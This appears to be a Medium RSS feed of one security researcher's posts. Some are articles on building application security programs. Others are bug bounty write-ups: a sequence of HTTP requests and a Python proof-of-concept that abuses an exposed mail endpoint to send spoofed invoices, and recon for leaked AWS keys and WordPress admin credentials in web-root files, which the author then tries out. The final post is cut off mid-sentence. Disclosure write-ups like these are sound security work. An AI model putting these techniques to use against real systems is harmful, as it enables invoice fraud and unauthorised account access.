<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mateusz Olejarka on Medium]]></title>
        <description><![CDATA[Stories by Mateusz Olejarka on Medium]]></description>
        <link>https://medium.com/@mateusz.olejarka?source=rss-4718bd335cbf------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*qOv30hRw72G0wgzGfGgZZw.png</url>
            <title>Stories by Mateusz Olejarka on Medium</title>
            <link>https://medium.com/@mateusz.olejarka?source=rss-4718bd335cbf------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Thu, 03 Dec 2026 08:44:45 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mateusz.olejarka/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How to stay secure for longer? Software development case.]]></title>
            <link>https://medium.com/securing/how-to-stay-secure-for-longer-software-development-case-d45011d16975?source=rss-4718bd335cbf------2</link>
            <guid isPermaLink="false">https://medium.com/p/d45011d16975</guid>
            <category><![CDATA[itsec]]></category>
            <category><![CDATA[software-development]]></category>
            <category><![CDATA[security-testing]]></category>
            <dc:creator><![CDATA[Mateusz Olejarka]]></dc:creator>
            <pubDate>Tue, 24 Aug 2021 07:32:16 GMT</pubDate>
            <atom:updated>2021-08-24T07:32:16.638Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-zNtjDSGBaYWj0av34oBPw.jpeg" /></figure><p>Do you want your software to be secure in its DNA? This post is our overview of two possible ways to improve security awareness in your organization.</p><p>I address this post in particular to senior developers, team leaders, project managers, scrum masters, or architects — or anyone who cares about quality and appropriate level of security.</p><p>During the security awareness seminars I organized, I had hundreds of coffee talks with developers, and they provided me with important insights into application security from their perspective — both the issues they encounter and the solutions they are contemplating or have implemented. Some themes were coming up again and again, so I decided to gather them all and share them with a broader audience in the hopes that they might help others.</p><p>I’d like to highlight some of the ideas I’ve presented over the last several years for sparking interest in appsec subjects among developers, devops, testers, and other individuals involved in application development. If you wish to create or enhance an application security program in the software industry, this article is for you.</p><p>I found six unique methods to putting security in place in your organization:</p><ul><li>Hackathon</li><li>IT Sec on the run</li><li>Threat modelling</li><li>Security Champions</li><li><strong>Trainings</strong></li><li><strong>Internal Bug bounty</strong></li></ul><p>We’ll focus on the third pair of options in this post, but if you want to see all six suggestions right away, go to our <a href="https://www.securing.pl/en/playbook-security-introduction-to-sdlc/">playbook</a>.</p><h3>Security training for your project team</h3><p>A good security training can be an eye-opener for developers, testers and devops, literally anyone involved in software development. Important thing, when searching for such training is to find a good balance between offence and defence — show the root cause of security problems for developers and not to dive too deep into finding and exploiting vulnerabilities but go into fixing.</p><p>Developers should understand the problem and not necessarily know how to find and exploit it (except from the source code perspective of course). One more thing — from my experience it is best when the whole team takes training or workshop together and discusses the security of their project, the good training should allow such discussions of issues from trainees day to day tasks.</p><h3>Pros</h3><ul><li>raises the security awareness</li><li>teaches different vulnerability classes and shows root causes</li><li>allows to exchange knowledge and experience between trainer and the group, or inside the group</li></ul><h3>Cons</h3><ul><li>if one time activity if fades away in time</li><li>too focused on the offensive side will not help developers work with the source code</li><li>take out whole team for 1–2 days</li></ul><p>Now to tackle the problem of taking the whole team out we made an online training, to allow flexibility in taking lessons. You can get our Hackflix <a href="https://www.securing.pl/en/training/overview/hackflix-skill/">here</a>, trailer of the first season is available here. If you prefer to meet for the whole day and select modules you’re most interested in, we have the Security Aware Developer course, check it out <a href="https://www.securing.pl/en/training/overview/security-aware-developer/">here</a>.</p><h3>Internal Bug bounty — a fun hacking for your own good</h3><p>When you wish to increase the security impact of the source code review (when code review is a standardized practice in your organization after a developer makes a pull request), and also dedicate more time to security tests done by testers alongside the usual testing — there is one way to go.</p><p>You can establish an internal bug bounty programme, where reporters will receive some kind of gratification when they report a valid security issue. The most tricky part is figuring out the proper rewards.</p><p>If rewards will be too valuable, you can see some abuses of the program rules done by let’s say “creative” people. On the contrary, if you propose something without real value the bug bounty programme may get much less attention than intended. To give you some ideas for rewards that can actually work:</p><ul><li>bug hunter’s t-shirt (if your developers like and wear company branded clothing) or some other swag given exclusively for bug bounty activity (stickers, posters etc.)</li><li>points to the cafeteria system that you use (if you use any), the exact value given as a reward may require some trials and errors</li><li>a trophy (for the best bug, or for the best findings — rules of selecting the winner should be crystal clear), where the winner should be selected monthly (quarterly etc.) and the trophy is passed to her or him from the previous winner</li></ul><p>Always include the public shoutout for all reporters which found the valid issues.</p><p>When dealing with handling reports, a word of caution — there may be poor reports coming — bugs with no risk impact or missing best practice.</p><p>The people responsible for report review (deciding if this is a valid vulnerability and determining the severity of it) should not discourage reporters, instead it is an opportunity to teach them and explain things. Patience and very good communication skills are required!</p><p>Good bug bounty programme scope (especially a list finding that are not eligible) will help.</p><h3>Pros</h3><ul><li>increased interest in security topics</li><li>discovered vulnerabilities which sometimes are much harder to find by the penetration test (due to vast knowledge of internals of the app by the reporter)</li></ul><h3>Cons</h3><ul><li>sometimes difficult to set proper rewards</li><li>poor report quality</li></ul><h3>Which method should you take?</h3><p>Training and Internal Bug Bounty aren’t the only possibilities. There are also IT Security on the Run, Hackathons, Threat modeling, and Security Champions, as I mentioned at the beginning of this series. However, it doesn’t stop there eithers, and there is always something in between. You can combine them or select one depending on the resources you can allocate. Pulling off any of it requires soft skills to persuade the management to it, some office politics may be involved. Moreover you have to provide appropriate security skills, depending on the selected activity.</p><p>The list is not complete, so stay tuned for a more complete catalog! Also feel free to connect with me in case you have questions.</p><p>To help you navigate through the ideas we’ve put together a fun playbook with the correct questions to ask yourself. Each of the six approaches outlined above is only a <a href="https://www.securing.pl/en/playbook-security-introduction-to-sdlc/">single click away</a>.</p><h3>But, remember that…</h3><p>Improving application security in my opinion requires a different set of activities and, moreover, that those activities are repeated and improved over time. One small spark will not have a long-lasting impact. Therefore, to build and maintain an application security program in a company, the leadership support is essential. Developers should know that application security is one of the company’s priorities. If there are only expectations that the applications will be secure, but there are no means to actually focus on security (money or time), nothing will change, so either you fight for those means or you leave ;).</p><p>If you have any questions or would want to discuss the potential of incorporating protection into your company, please use our contact form.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d45011d16975" width="1" height="1" alt=""><hr><p><a href="https://medium.com/securing/how-to-stay-secure-for-longer-software-development-case-d45011d16975">How to stay secure for longer? Software development case.</a> was originally published in <a href="https://medium.com/securing">SecuRing</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Adding security to your SDLC process]]></title>
            <link>https://medium.com/securing/adding-security-to-your-sdlc-process-7fe18787e211?source=rss-4718bd335cbf------2</link>
            <guid isPermaLink="false">https://medium.com/p/7fe18787e211</guid>
            <category><![CDATA[sdlc]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[security-testing]]></category>
            <dc:creator><![CDATA[Mateusz Olejarka]]></dc:creator>
            <pubDate>Fri, 28 May 2021 11:54:55 GMT</pubDate>
            <atom:updated>2021-05-28T11:54:55.156Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ecJsr8UyCWglls63kGq5uw.jpeg" /></figure><p>This article is for you if you’re a senior developer, team leader, project manager, scrum master, or architect and you’re having trouble enforcing the required security quality.</p><p>I had dozens of coffee conversations with developers during the security awareness workshops I ran, and they gave me valuable insights into application security from their perspective — both challenges they face and solutions they are considering or have implemented. Some topics kept coming up again and again, so I decided to compile them all and share them with a larger audience in the hopes that they would be useful.</p><p>I’d like to summarize the ideas I’ve shared over the last few years about igniting interest in appsec topics among developers, devops, testers, and other people involved in application development. This article is for you if you want to develop or improve an application security program in a software business.</p><p>I identified six distinct approaches to implementing protection in your organization:</p><ul><li>Hackathon</li><li>IT Sec on the run</li><li><strong>Threat modelling</strong></li><li><strong>Security Champions</strong></li><li>Trainings</li><li>Internal Bug bounty</li></ul><p>We’ll focus on the second pair of options in this post, but if you want to see all six suggestions right away, go to our <a href="https://www.securing.pl/en/playbook-security-introduction-to-sdlc/">playbook</a>.</p><h3>Threat modeling — thinking what can go wrong</h3><p>Threat modeling is an activity, where the team tries to answer three questions:</p><ol><li>Who can attack our application (organisation etc.)?</li><li>What do we protect in it (data, money etc.)?</li><li>How does someone do it — knowing who could and what we protect? — most important one</li></ol><p>Usually it is performed without computers, you’re armed only in whiteboard and markers. It can be very general and very specific (to the level of the test cases to perform in the application.</p><p>From my experience a threat modeling session can be a real eye opener to the team of developers, when we focus solely on the security side of the application and we all put black hats and based on the application functionalities we develop attack scenarios.</p><h3>Pros:</h3><ul><li>raises security awareness in teams</li><li>allows to spot vulnerabilities (a.k.a security issues) which sometimes can be missed by penetration testing</li><li>allows to improve security posture of the app before implementation (if performed at the early stage of the app lifecycle)</li></ul><h3>Cons:</h3><ul><li>time consuming (if detailed)</li><li>requires some way of keeping results and updating when the app changes</li></ul><p>Be sure to check out our series of short threat modelling videos <a href="https://youtube.com/playlist?list=PL-lO2xrptAtav4SZgCdDkVxChWhVU3kmP">here</a>.</p><h3>Security Champions — an internal hackers</h3><p>When you have a limited Security Department headcount the idea is to select people interested in the security field and invest in their knowledge. Select not only developers, also include testers, devops — the more varied experience they have, the better. Make them the first point of contact for their teams in case of any security related issue or question. Send them to external security trainings, conferences and meetups where they can learn and exchange knowledge. Make them meet internally where they can share experience from various internal projects with others and focus on improving the company’s applications security posture.</p><p>One important remark here — it can work only with the support of the development organization within your company, because the security champions will be developers first and then security people. Balancing it right requires good will on both sides.</p><h3>Pros:</h3><ul><li>raises the security awareness in teams</li><li>combines security knowledge and developer’s experience</li></ul><h3>Cons:</h3><ul><li>potential conflict of interest between security role and developer role with a tendency to focus solely on the latter</li></ul><h3>Which approach to choose?</h3><p>Naturally, Threat Modeling and Security Champions aren’t the only options. There’s also IT Sec on the Run, Hackathons, Trainings, and Internal Bug Bounties, as I described at the start of this post. These also do not have to be the only options and there is always something in between.</p><p>To make it simpler, we’ve put together a fun playbook with the right questions to ask yourself. Each of the six approaches listed above can be accessed with a single click.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/0*5TeRDn3VH3YahUFa.jpg" /></figure><h3><a href="https://www.securing.pl/en/playbook-security-introduction-to-sdlc/">PLAYBOOK — Security Introduction to SDLC</a></h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7fe18787e211" width="1" height="1" alt=""><hr><p><a href="https://medium.com/securing/adding-security-to-your-sdlc-process-7fe18787e211">Adding security to your SDLC process</a> was originally published in <a href="https://medium.com/securing">SecuRing</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How to bring security to your company mindset?]]></title>
            <link>https://medium.com/securing/how-to-bring-security-to-your-company-mindset-43650efb95d7?source=rss-4718bd335cbf------2</link>
            <guid isPermaLink="false">https://medium.com/p/43650efb95d7</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[security-testing]]></category>
            <category><![CDATA[software-development]]></category>
            <dc:creator><![CDATA[Mateusz Olejarka]]></dc:creator>
            <pubDate>Tue, 16 Mar 2021 12:44:54 GMT</pubDate>
            <atom:updated>2021-03-16T12:44:54.883Z</atom:updated>
            <content:encoded><![CDATA[<p>How does an internal event dedicated to security make a difference? Why keeping your security team in one place is a bad idea?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*_vrT_UCtYJwCIiuq.jpg" /></figure><p>No matter if you’re a senior developer, team leader, project manager, scrum master or architect — If you have trouble implementing the appropriate security quality then this article is for you.</p><p>During the security awareness workshops I ran I had quite a few chats over the coffee with developers and they gave me unique insights into application security from their perspective — both problems they face and solutions they either think about or have implemented. Some topics were repeating so I decided to collect them all and share with a broader audience hoping that this will be useful and it will help to build more secure applications.</p><p>Below I wish to summarize the ideas related to sparking interest in appsec topics amongst developers, devops, testers and other people involved in building applications, which I discussed over the last few years. So, if you’re wishing to build or improve an application security programme in a software company this article is for you.</p><p>I distinguished 6 different approaches to introducing security into your organisation:</p><ul><li><strong>Hackathon</strong></li><li><strong>IT Sec on the run</strong></li><li>Threat modelling</li><li>Security Champions</li><li>Trainings</li><li>Internal Bug bounty</li></ul><p>In this article we will focus on the first two solutions, but if you would like to check out all 6 ideas right away <a href="https://www.securing.pl/en/playbook-security-introduction-to-sdlc/"><strong>HERE</strong></a> is our playbook.</p><h3>Hackathon — an event in honor of security</h3><p>By the term hackathon I understand an event for company’s developers, where during let’s say 24 hours they propose, discuss &amp; select and implement one or several components to help them work. I saw ideas like an application with an access to a camera which allowed employees to quickly tell if the coffee machine was occupied. What an improvement of the time management, no queues.</p><p>So, the idea is to create such an event dedicated to application security, it’s better when such hackathons already happen, then the one will be dedicated solely to appsec.</p><h4>Pros:</h4><ul><li>Measurable outcome (implemented projects) — ideas which will get implemented and used can be reused and enhanced later throughout the entire company (easier to get some time for things build in hackathon than to build something from scratch)</li><li>Networking with developers — opportunity to talk and get to know each other</li><li>Demystifying security and making it “fun” and “interesting” over some snacks and beverages</li></ul><h4>Cons</h4><ul><li>Difficult to organize — especially if there were no similar events before in a company, takes a lot of time which doesn’t produce new application features (so no clear benefit, because security is like insurance, no ROI 😉 )</li><li>Problem with ideas (when developers provide small number or poor ideas to work on &lt;- be ready with your own list as a backup)</li></ul><h3>IT Sec on the run — agile moving around the company</h3><p>In some companies I work with, the Security Department is strongly separated from others. Most security people do not know many developers. Sometimes they communicate even only with almost anonymous mail e.g. secdepartment@somebank.pl. It’s really hard to cooperate with programmers this way and a good security program needs good communication. Period.</p><p>IT SEC on the run is the idea where people from the Security Department “travel” around the company to work closely with developers.</p><p>It takes let’s say 2–3 days in a month, the more the better, where a given security engineer sits in the open space with developers. They may do their own work, but the developers know that she or he is there and can be asked appsec questions and discuss various security related topics the developers have on their agenda at this very moment.</p><h4>Pros</h4><ul><li>security people and developers get to know each other</li><li>security people get to know how developers work, what are the processes they follow</li><li>easier access to security council for developers</li></ul><h4>Cons</h4><ul><li>no visible cons, maybe except ITSec engineer discomfort when being overrun by developers 😉</li></ul><h3>Which approach to choose?</h3><p>Hackathon will help you make security fun and interesting. However, I you have a Security team definitely go for IT Sec on the run — both sides (devs and security) will benefit from close cooperation.</p><p>Of course, the available solutions do not end on Hackathons and IT Sec on the run. As I mentioned at the beginning of this article there is also Threat modelling, Security Champions, Trainings and Internal Bug bounty. These also do not have to be the only solutions and there is always something in between.</p><p>To make it easier, we prepared a really fun playbook in which you will find the right questions to ask yourself. Each of the previously mentioned 6 approaches is available at one <a href="https://www.securing.pl/en/playbook-security-introduction-to-sdlc/">click</a>.</p><p>If you have any questions or you just want to talk about the possibilities of implementing security in your organization don’t hesitate to reach out to us 🙂</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=43650efb95d7" width="1" height="1" alt=""><hr><p><a href="https://medium.com/securing/how-to-bring-security-to-your-company-mindset-43650efb95d7">How to bring security to your company mindset?</a> was originally published in <a href="https://medium.com/securing">SecuRing</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[A perfect duplicate or how to send an email with a spoofed invoice’s content]]></title>
            <link>https://medium.com/@mateusz.olejarka/a-perfect-duplicate-or-how-to-send-an-email-with-a-spoofed-invoices-content-66cf369bbaa3?source=rss-4718bd335cbf------2</link>
            <guid isPermaLink="false">https://medium.com/p/66cf369bbaa3</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[security]]></category>
            <dc:creator><![CDATA[Mateusz Olejarka]]></dc:creator>
            <pubDate>Wed, 19 Aug 2020 11:59:17 GMT</pubDate>
            <atom:updated>2020-08-19T11:59:17.978Z</atom:updated>
            <content:encoded><![CDATA[<p>This is a story about one of my most interesting findings without a happy ending. Spoiler alert — the bug was closed as duplicace. Duplicate is still a valid bug and in this case it’s yet another reason to improve my automation. Moreover I also learned a bit finding it.</p><p>It was interesting from the beginning. First I routinely ran a dictionary against a host, which resulted in one interesting thing. I ommited the boring parts of HTTP requests and responses to keep this short.</p><pre>GET /sendmail HTTP/1.1<br>Host: host:exoticport</pre><pre>HTTP/1.1 405 Method Not Allowed<br>content-length: 0</pre><p>So <strong>POST </strong>it is:</p><pre>POST /sendmail HTTP/1.1<br>Host: host:exoticport<br>Content-Type: application/json<br>Content-Length: 0</pre><pre>HTTP/1.1 422 Unprocessable Entity<br>[CUT] type missing [CUT]</pre><p>So I add type:</p><pre>POST /sendmail HTTP/1.1<br>Host: host:exoticport<br>Content-Type: application/json<br>Content-Length: 12</pre><pre>{“type”:0}</pre><pre>HTTP/1.1 422 Unprocessable Entity<br>[CUT] expected=string, got=number, field=type [CUT]<br></pre><p>So type was a string. Here I spent some time enumerating and guessing/googling what exactly <strong>type </strong>value can be in case of an API, which apparently sends emails.<br>Then I found out. I also assumed that there should be a <strong>to </strong>field:</p><pre>POST /sendmail HTTP/1.1<br>Host: host:exoticport<br>Content-Type: application/json<br>Content-Length: 25</pre><pre>{“type”:”pdf”, “to”:””}</pre><pre>HTTP/1.1 500 Internal Server Error<br>[CUT] invalid address [CUT] <br></pre><p>It made perfect sense, so next step I set proper <strong>to </strong>value:</p><pre>POST /sendmail HTTP/1.1<br>Host: host:exoticport<br>Content-Type: application/json<br>Content-Length: 53</pre><pre>{“type”:”pdf”, “to”:”[valid-email]”}</pre><pre>HTTP/1.1 200 OK<br>[CUT] mail Sent [CUT]</pre><p><strong>Nice</strong>. Then I opened my inbox and almost jumped.</p><p>I got an email with a pdf attachment named invoice. It was empty. Awesome. If only I could set a subject and spoof attachment’s content.<br>First one was easy: subject was <strong>subject</strong>. Second one required a bit guesswork again and the parameter containing pdf content was named <strong>body</strong>. The content needed to be Base64 encoded.</p><p>So, for final PoC I wrote short script:</p><pre>import base64, requests</pre><pre>def uploadfile(filename):<br> resp = requests.post(“<a href="http://host:exoticport/sendmail">http://host:exoticport/sendmail</a>&quot;, data = {“type”:”pdf”, “to”:”[valid-email]”, “subject”: “invoice_spoof”, “body” : base64.b64encode(open(filename, “rb”).read())})<br> <br>uploadfile(‘test.pdf’)</pre><p>The results looked like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/448/1*6uMJ1VjjadDODN-ziKzMdg.png" /><figcaption>Email message with invoice</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*CuuxuY6CokqbXMeDk57LjA.png" /><figcaption>Spoofed invoice content</figcaption></figure><p>Now I could spoof the invoice with my bank account ad possibly redirect payments to me. A perfect<strong> P1</strong> bug. I learned few years ago not to get excited, but still I hoped to get a nice bounty. It was closed as a duplicate instead. The end.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=66cf369bbaa3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Finding hidden gems vol. 4: Rakefile a.k.a. how to get AWS keys again]]></title>
            <link>https://medium.com/@mateusz.olejarka/finding-hidden-gems-vol-4-rakefile-a-k-a-how-to-get-aws-keys-again-ed0d840e0ec?source=rss-4718bd335cbf------2</link>
            <guid isPermaLink="false">https://medium.com/p/ed0d840e0ec</guid>
            <category><![CDATA[security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[ruby]]></category>
            <category><![CDATA[software-development]]></category>
            <dc:creator><![CDATA[Mateusz Olejarka]]></dc:creator>
            <pubDate>Wed, 03 Jul 2019 14:51:00 GMT</pubDate>
            <atom:updated>2019-07-03T14:52:42.530Z</atom:updated>
            <content:encoded><![CDATA[<p><em>Long time no see. I will improve I promise. Maybe. NVM.</em></p><p>Staying in application development area as in <a href="https://medium.com/@mateusz.olejarka/finding-hidden-gems-vol-3-quick-win-with-sh-file-722e58636ded">previous post</a>.<br>Some time ago I was interested in applications created in Ruby. I did some review <a href="https://github.com/trending/ruby?since=weekly">of trending GitHub repositories</a> and I noticed that some of them contain a Rakefile file. To quote<a href="https://ruby.github.io/rake/"> the docs</a>:</p><blockquote>Rake is a Make-like program implemented in Ruby. Tasks and dependencies are specified in standard Ruby syntax.<br>Rake has the following features:<br>* Rakefiles (rake’s version of Makefiles) are completely defined in standard Ruby syntax. No XML files to edit. No quirky Makefile syntax to worry about (is that a tab or a space?)<br> * Users can specify tasks with prerequisites.<br> * Rake supports rule patterns to synthesize implicit tasks.<br> * Flexible FileLists that act like arrays but know about manipulating file names and paths.<br> * A library of prepackaged tasks to make building rakefiles easier. For example, tasks for building tarballs. (Formerly tasks for building RDoc, Gems and publishing to FTP were included in rake but they’re now available in RDoc, RubyGems and respectively.)<br>* Supports parallel execution of tasks.</blockquote><p>Sounds cool, maybe some juicy information is hiding there. As in previous story I used simple multi-threaded Python code to check my domain list to see if there are any such files available.</p><p>I found several of those files and one interesting in particular:</p><pre>require ‘rubygems’<br>require ‘bundler/setup’<br>require ‘rake’<br>require ‘rspec/core’<br>require ‘rspec/core/rake_task’<br>[ — CUT — ]</pre><pre>path = “<strong>conf/deployment.yml</strong>”<br>[ — CUT — ]</pre><pre>task :spec =&gt; :build<br>task :default =&gt; :build</pre><p><strong>O.o</strong> a <strong>deployment.yml</strong> is a configuration file or so it seems. Probably accessing it will result in 403 response code but still it is worth to check I think.<br>Surprise surprise — it was accessible! Inside it were <strong>AWS keys</strong>.</p><pre>production:<br>[--CUT--]<br><strong>aws_key: AKIA[--CUT--]AR<br>aws_secret: vx[--CUT--]nIst</strong><br> <br>development:<br>[--CUT--]</pre><p>This is it, another <strong>P1</strong>.</p><h3><strong>Lessons learned</strong></h3><ul><li><strong>For myself</strong> - further extend my list of application development related files</li><li><strong>Bug hunters</strong> - search for Rakefile, Makefile, Dockerfile… (there is much more of those)</li><li><strong>Developers</strong> - make sure you do not have any additional content in an application web root folder, which is not necessary and, of course, set proper permissions to the configuration folder.</li></ul><p>If you enjoyed this story go and read three previous parts:</p><ul><li><a href="https://medium.com/@mateusz.olejarka/finding-hidden-gems-vol-1-forging-oauth-tokens-using-discovered-client-id-and-client-secret-467f1cd21714">Finding hidden gems vol. 1: forging OAuth tokens using discovered client id and client secret</a></li><li><a href="https://medium.com/@mateusz.olejarka/finding-hidden-gems-vol-2-reamde-md-the-story-of-a-bit-too-helpful-readme-file-12d6bb51e77f">Finding hidden gems vol. 2: REAMDE.md, the story of a bit too helpful readme file</a></li><li><a href="https://medium.com/@mateusz.olejarka/finding-hidden-gems-vol-3-quick-win-with-sh-file-722e58636ded">Finding hidden gems vol. 3: quick win with .sh file</a></li></ul><p>If you have any questions feel free to use comments ore find me on <a href="https://twitter.com/@molejarka">Twitter</a>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ed0d840e0ec" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Finding hidden gems vol. 3: quick win with .sh file]]></title>
            <link>https://medium.com/@mateusz.olejarka/finding-hidden-gems-vol-3-quick-win-with-sh-file-722e58636ded?source=rss-4718bd335cbf------2</link>
            <guid isPermaLink="false">https://medium.com/p/722e58636ded</guid>
            <category><![CDATA[tech]]></category>
            <category><![CDATA[devops]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Mateusz Olejarka]]></dc:creator>
            <pubDate>Thu, 01 Nov 2018 13:36:12 GMT</pubDate>
            <atom:updated>2018-11-01T13:36:12.671Z</atom:updated>
            <content:encoded><![CDATA[<h3>Finding hidden gems vol. 3: quick win with .sh file</h3><p>I observed that some application deployment’s automation is done by the use of shell scripts, mostly files with .sh extensions.</p><p>Based on the popular filenames found on GitHub (search for site:github.com ext:sh) I routinely check for such files during bug bounty hunting in my spare time.</p><p>Once it ended up quite unexpected.</p><p>I found a file, let’s say it was <strong>install.sh</strong> on one site which was WordPress based blog.</p><pre>[--CUT--]</pre><pre>echo &quot;Setting up blog&quot;</pre><pre>echo &quot;- Admin URL: ${local_url}/wp-admin&quot;</pre><pre>echo &quot;- Wp User: c[--EDITED--]&quot;</pre><pre>echo &quot;- Wp Pass: [--EDITED--]</pre><pre>[--CUT--]</pre><p>What? WordPress admin credentials in plaintext?!</p><p>When I saw this, I said to myself “No way it works. Forget it”.</p><p>Still I opened the /wp-admin and entered login and password just to see the login error. I looked for a few seconds on the spinner waiting for this error to show up. To my surprise I was logged in instead. I immediately checked if I was an admin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0IDVQym23LPnX-slMk8VdQ.png" /></figure><p>Yes I was. So, I filled the report. Few hours later I got the message below.</p><blockquote>Thank you for this report, and given the severity, I have gone ahead and paid a full <strong>P1 bounty</strong>. We are working on resolving this now and should have it done soon.</blockquote><blockquote>Thank you for your participation in the program and we look forward to future reports!</blockquote><p>Nice of them.</p><h3>Lessons learned</h3><ul><li><strong>For myself</strong> - build a list of common sh files</li><li><strong>Bug hunters</strong> - search for common sh files during recon</li><li><strong>Developers</strong> - make sure you do not have any shell scripts in web root, if you do definitely do not store admin password in those files</li></ul><p>If you enjoyed this story go see two previous parts:</p><ul><li><a href="https://medium.com/@mateusz.olejarka/finding-hidden-gems-vol-1-forging-oauth-tokens-using-discovered-client-id-and-client-secret-467f1cd21714">Finding hidden gems vol. 1: forging OAuth tokens using discovered client id and client secret</a></li><li><a href="https://medium.com/@mateusz.olejarka/finding-hidden-gems-vol-2-reamde-md-the-story-of-a-bit-too-helpful-readme-file-12d6bb51e77f">Finding hidden gems vol. 2: REAMDE.md, the story of a bit too helpful readme file</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=722e58636ded" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Finding hidden gems vol. 2: REAMDE.md, the story of a bit too helpful readme file]]></title>
            <link>https://medium.com/@mateusz.olejarka/finding-hidden-gems-vol-2-reamde-md-the-story-of-a-bit-too-helpful-readme-file-12d6bb51e77f?source=rss-4718bd335cbf------2</link>
            <guid isPermaLink="false">https://medium.com/p/12d6bb51e77f</guid>
            <category><![CDATA[tech]]></category>
            <category><![CDATA[security]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Mateusz Olejarka]]></dc:creator>
            <pubDate>Wed, 29 Aug 2018 20:13:20 GMT</pubDate>
            <atom:updated>2018-08-29T20:25:06.967Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>REAMDE.md </strong>file is meant to be helpful. It is the first file to check when you look into a new project on GitHub, <a href="https://www.google.pl/search?q=inurl%3AREADME.md+site%3Agithub.com">see here</a>. That’s perfectly fine from developer’s perspective.</p><p>Sometimes this file stays as a <strong>development leftover</strong> all the way from the test environment to production. If it does not contain anything sensitive it is still fine.</p><p>Some time ago I’ve found README.md file which was way too helpful. Definitely it should not have ended up in the production environment.</p><h3>The case</h3><p>So, the first lines of the file I found were:</p><pre>The first thing you need is to install <strong>aws-cli</strong>, which is a simple command line tool that provides a client interface to AWS <br>services.<br>You can find it here: <a href="http://docs.aws.amazon.com/cli/latest/userguide/installing.html">http://docs.aws.amazon.com/cli/latest/userguide/installing.html</a><br>Once installed, you will need to provide some information to authenticate and be able to upload files to the bucket.</pre><p>That was perfectly fine. Just one developer helping another. Install this and see docs there.</p><pre>SANDBOX  <br><strong>AWS Access Key ID</strong>: A*****************A  <br><strong>AWS Secret Access Key</strong>: P****************G  <br>Default region name: us-east-1  <br>Default output format [None]:</pre><pre>&gt;I have created a testing bucket for you in our sandbox environment, the bucket URI is <strong>s3://***********-sandbox.********.com</strong><br>And to get you started with service, you can simply sync all the content of a specific folder to the S3 bucket by executing:  <br><strong>aws s3 sync/path/to/your/folder s3://***********-sandbox.********.com</strong></pre><p><strong>Yes Yes Yes!</strong> I got here Amazon S3 bucket and possibly with valid access keys. To quote <a href="https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-getting-started.html">Amazon docs</a>:</p><blockquote>Access keys consist of an access key ID and secret access key, which are used to sign programmatic requests that you make to AWS. If you don’t have access keys, you can create them from the AWS Management Console.</blockquote><p>This sandbox AWS S3 bucket looked interesting, we also got keys…but this bucket no longer existed. So was reading further…</p><pre><strong>PROD  </strong><br>aws configure  <br><strong>AWS Access Key ID</strong>: A*****************Q  <br><strong>Secret Access Key</strong>: k****************u  <br>Default region name: us-east-1  <br>Default output format [None]:</pre><pre>aws s3 sync ~/data/AWS/ s3://***********.com/  <br>new path  <br>aws s3 sync ~/data/WORK/AWS/ s3://***********.com/  <br>aws s3 sync ~/data/AWS/ s3://***********.com/</pre><p>This was <strong>even better!</strong> No more sandbox, I was dealing with the production S3 instance now. And one more quote from the file:</p><pre>Please go through this documentation, it&#39;s a great way to start with AWS S3: <br><a href="http://docs.aws.amazon.com/cli/latest/reference/s3/index.html">http://docs.aws.amazon.com/cli/latest/reference/s3/index.html</a><br>If you have any questions, please don&#39;t hesitate contacting me, I am available on <strong>Slack</strong> as well if you needed some instant responses.</pre><p>So I downloaded <strong>aws-cli</strong>, configured it. I needed just to check if the keys still work, so I uploaded a test 